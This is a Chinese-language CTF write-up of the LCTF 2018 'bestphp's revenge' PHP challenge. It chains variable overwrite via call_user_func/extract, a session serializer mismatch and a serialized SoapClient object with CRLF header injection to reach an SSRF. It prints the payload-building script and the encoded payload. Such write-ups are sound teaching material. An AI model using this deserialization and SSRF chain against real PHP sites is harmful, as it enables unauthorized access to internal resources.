[LCTF 2018]bestphp’s revenge
题目给了源码:index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
扫一下目录:flag.php
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
这里说说明了需要本地地址访问才能输出flag。
变量覆盖
首先我们看到第一个call_user_func()
函数里面2个参数我们都可控,因此想到用extract()
函数进行变量覆盖,先用var_dump()
看一下session的内容:
session反序列化
于是我们想通过ini_set()
函数来构造ini_set('session.serialize_handler', 'php_serialize');
来改变序列化时的处理器,从而使其和反序列化时处理引擎不同,但是这个函数不接受数组,$_POST
中需要设置参数传输; 所以用session_start(['serialize_handler'=>'php_serialize'])
,即POST传入serialize_handler=php_serialize
来改变处理器,因为session_start()
中如果提供参数,那么会用其中的项目覆盖会话配置指示中的配置项。即构造 session_start(serialize_handler=php_serialize)
就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST);
函数,传入GET:/?f=session_start
、POST:serialize_handler=php_serialize
,实现 session_start(serialize_handler=php_serialize)
的调用来修改此页面的序列化引擎为php_serialize。
SoapClient类
php中的SoapClient
类可以创建soap数据报文,与wsdl接口进行交互。该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location
和uri
选项,其中location
是要将请求发送到的SOAP服务器的URL,而uri
是SOAP服务的目标命名空间。
其中$options
数组下有个user_agent
选项,我们可以利用该选项来自定义User-Agent
。而在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array('location' => $target,
'user_agent' => "btis\r\nCookie: PHPSESSID=c472u8eh63tvqe5kq44o4mq3b1\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
其中有两个必备参数location
是要将请求发送到的SOAP服务器的URL,uri
是SOAP服务的目标命名空间。我们将location
设置为http://127.0.0.1/flag.php
即本地flag.php文件,这个条件满足了flag.php中要求的$_SERVER["REMOTE_ADDR"]==="127.0.0.1"
,uri
随便填就好。其中user_agent
,是我们用来定义User-Agent
,利用CRLF同时传入页面的cookie
,使$_SESSION['flag'] = $flag;
保存到指定cookie中。
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22John%0D%0ACookie%3A+PHPSESSID%3Deu55lkml6t447pr8n10o6a49a6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
利用php_serialize
序列化传入后,并用php反序列化处理后此时session中包含了:一个键名a:1:{s:4:"name";s:222:"
,和一个SoapClient对象
array(1) {
["a:1:{s:4:"name";s:222:""]=>
object(SoapClient)#1 (5) {
["uri"]=>
string(3) "123"
["location"]=>
string(25) "http://127.0.0.1/flag.php"
["_stream_context"]=>
int(0)
["_user_agent"]=>
string(52) "John
Cookie: PHPSESSID=c472u8eh63tvqe5kq44o4mq3b1
"
["_soap_version"]=>
int(1)
}
}
但此时还不会触发SSRF,需要触发 __call
方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
下面我们用extract()
将$b
覆盖成call_user_func()
,reset($_SESSION)
就是$_SESSION['name']
,所以我们传入name=SoapClient
最后的call_user_func($b, $a)
就变成了call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
,即call_user_func(SoapClient->welcome_to_the_lctf2018)
。
因为SoapClient
对象中没有welcome_to_the_lctf2018
这个方法,就会调用魔术方法__call()
从而发送请求,造成SSRF去访问flag.php。
这一步由于会触发SSRF请求,因此会等待很久。
最后直接访问index.php页面,把session的内容都输出出来即可看到flag。